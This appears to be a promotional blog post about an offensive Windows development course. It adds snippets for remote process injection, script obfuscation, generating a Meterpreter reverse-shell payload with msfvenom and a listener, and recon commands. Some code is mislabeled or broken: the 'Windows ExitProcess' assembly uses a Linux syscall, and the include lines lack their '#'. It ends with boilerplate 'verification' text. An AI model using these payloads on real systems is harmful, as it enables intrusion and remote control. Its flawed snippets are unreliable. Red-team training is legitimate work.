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This course is designed for those interested in learning basic evasion techniques, Windows API, assembly, and red team infrastructure. The material includes custom content developed by the instructor, Joas A Santos, with a focus on offensive security.
Course Link: Offensive Development for Windows v1
You Should Know:
1. Basic Evasion Techniques
Evasion techniques are crucial for bypassing security mechanisms. Below are some practical methods:
Code Example: Simple Process Injection (C++)
include <windows.h>
include <stdio.h>
int main() {
unsigned char shellcode[] = "\x90\x90\x90"; // Replace with actual shellcode
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, TARGET_PID);
LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
CloseHandle(hProcess);
return 0;
}
PowerShell Obfuscation
Invoke-Obfuscation -ScriptBlock { Get-Process } -All
2. Windows API for Offensive Security
Key Windows APIs used in offensive security:
– `CreateRemoteThread` – Executes code in another process.
– `VirtualAllocEx` – Allocates memory in a remote process.
– `WriteProcessMemory` – Writes shellcode into allocated memory.
Example: Using WinAPI in C
include <windows.h>
int main() {
MessageBoxA(NULL, "Hello, Red Team!", "Offensive Security", MB_OK);
return 0;
}
3. Assembly for Shellcoding
Understanding x86/x64 assembly is essential for writing custom shellcode.
Example: Simple ExitProcess Shellcode (x86)
section .text global _start _start: xor eax, eax mov al, 0x1 ; sys_exit xor ebx, ebx int 0x80
4. Red Team Infrastructure Setup
Tools for C2 (Command & Control):
- Cobalt Strike
- Metasploit Framework
- Sliver
Metasploit Payload Generation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe > payload.exe
Setting Up a Listener
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST YOUR_IP set LPORT 4444 exploit
What Undercode Say
Offensive security requires deep knowledge of Windows internals, evasion techniques, and red team methodologies. Mastering these skills involves:
– Reverse Engineering (Ghidra, IDA Pro)
– Custom Shellcode Development (NASM, objdump)
– Bypassing AV/EDR (Process Hollowing, API Unhooking)
– Post-Exploitation (Mimikatz, BloodHound)
Key Commands to Practice:
Linux-based Red Team Tools sudo apt install gdb radare2 -y objdump -d payload.bin strace ./malware Windows Commands for Recon net user /domain whoami /priv systeminfo
Prediction
As offensive security evolves, AI-driven automation in exploit development and evasion techniques will become more prevalent. Expect more courses integrating Offensive AI in red teaming operations.
Expected Output:
A structured guide on offensive security fundamentals with practical code snippets and commands for hands-on learning.
References:
Reported By: Joas Antonio – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
